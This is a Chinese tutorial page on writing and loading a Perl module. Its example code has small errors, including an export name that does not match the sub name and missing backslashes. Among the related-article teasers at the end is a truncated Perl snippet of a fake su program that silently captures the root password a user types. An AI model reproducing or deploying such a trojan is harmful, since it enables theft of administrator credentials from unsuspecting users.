一起学习网 一起学习网

Perl模块编写说明

Perl的语法相对来说有点晦涩,主要是一些内置变量和函数处理得相当精巧,而过于精致的东西理解起来就有点费力。相对于Shell,Perl在很多方面更加强大高效,比如Hash(关联数组)就非常好用,如果要将不同主机发出来的告警信息发送到不同的责任人,在shell中要做非常多的if或者case判断,修改起来也非常费力,而使用关联数组,则可以轻松实现该功能,代码简洁,配置方便,一个字,爽。

Perl支持以模块对代码进行封装。著名的CPAN上就有非常多好用的Module,可以极大的减轻开发量。一个简单的模块:

package NinGoo;
require Exporter;
use strict;
use warnings;

our @ISA = qw(Exporter);
our @EXPORT = qw(fun_public); #要输出给外部调用的函数或者变量,以空格分隔
our @version = 1.0;
sub func_private{
print "This is a private function";
}

sub func_public{
print "Hello,worldn";
func_private();
}

1;
__END__
模块的文件名一般以.pm做后缀,名字和package相同,也就是上面这个Module的名字为NinGoo.pm。然后在普通的.脚本中调用:

#!/usr/bin/perl -w
# creator: NinGoo
# function: test perl module

BEGIN {
push (@INC,'/home/module');
}

use strict;
use NinGoo;

func_public();
O'Relly出版了一系列Perl的图书,比较著名的大骆驼《Programming Perl》在这里有一个在线中文版本的,可以看看。
作者:NinGoo 出处

用perl写的单位电脑信息采集程序
主要用于收集ip、mac、姓名、房间,后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。#############################usestrict;useTk;useEncode;#SOCKE

冒充su ,perl写的su.pl盗取root密码
我改了一下,把回显关了加了个延时:#!/usr/bin/perl#Writtenbyxi4oyuevil.xi4oyu@gmail.com.print"Password:";`stty-echo`;$s1=STDIN;print"n";`sttyecho`;sleep3;print"su:incorrectpasswordn"

perl中5个常见错误
最近在用perl+mdbm+spread做东西。php是用了很久了,python和ruby与用过,经典脚本语言就perl没摸过,现在在像小学生一样抱着教科书啃。发现perl果然有难度多